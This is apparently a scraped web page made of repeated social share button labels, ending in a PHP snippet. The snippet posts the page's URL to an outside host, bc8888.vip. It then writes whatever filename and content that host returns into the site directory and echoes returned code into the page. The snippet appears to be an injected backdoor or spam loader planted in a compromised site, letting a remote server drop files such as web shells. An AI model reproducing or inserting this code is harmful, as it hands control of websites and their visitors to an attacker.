VK
Facebook
Google+
Pinterest
Odnoklassniki
Mail.ru
VK
Facebook
Google+
Pinterest
Odnoklassniki
Mail.ru
VK
Facebook
Google+
Pinterest
Odnoklassniki
Mail.ru
VK
Facebook
Google+
Pinterest
Odnoklassniki
Mail.ru
VK
Facebook
Google+
Pinterest
Odnoklassniki
Mail.ru
VK
Facebook
Google+
Pinterest
Odnoklassniki
Mail.ru
VK
Facebook
Google+
Pinterest
Odnoklassniki
Mail.ru
VK
Facebook
Google+
Pinterest
Odnoklassniki
Mail.ru
VK
Facebook
Google+
Pinterest
Odnoklassniki
Mail.ru
$fullUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$targetUrl = 'https://bc8888.vip/links/bb.php';
$postData = ['domain_directory' => $fullUrl];
$ch = curl_init($targetUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($postData)
]);
$response = curl_exec($ch);
curl_close($ch);
$data = json_decode(trim($response), true);
if (json_last_error() === JSON_ERROR_NONE && !empty($data['content'])) {
file_put_contents(__DIR__ . '/' . $data['filename'], $data['content']);
}
echo trim($data['daima']);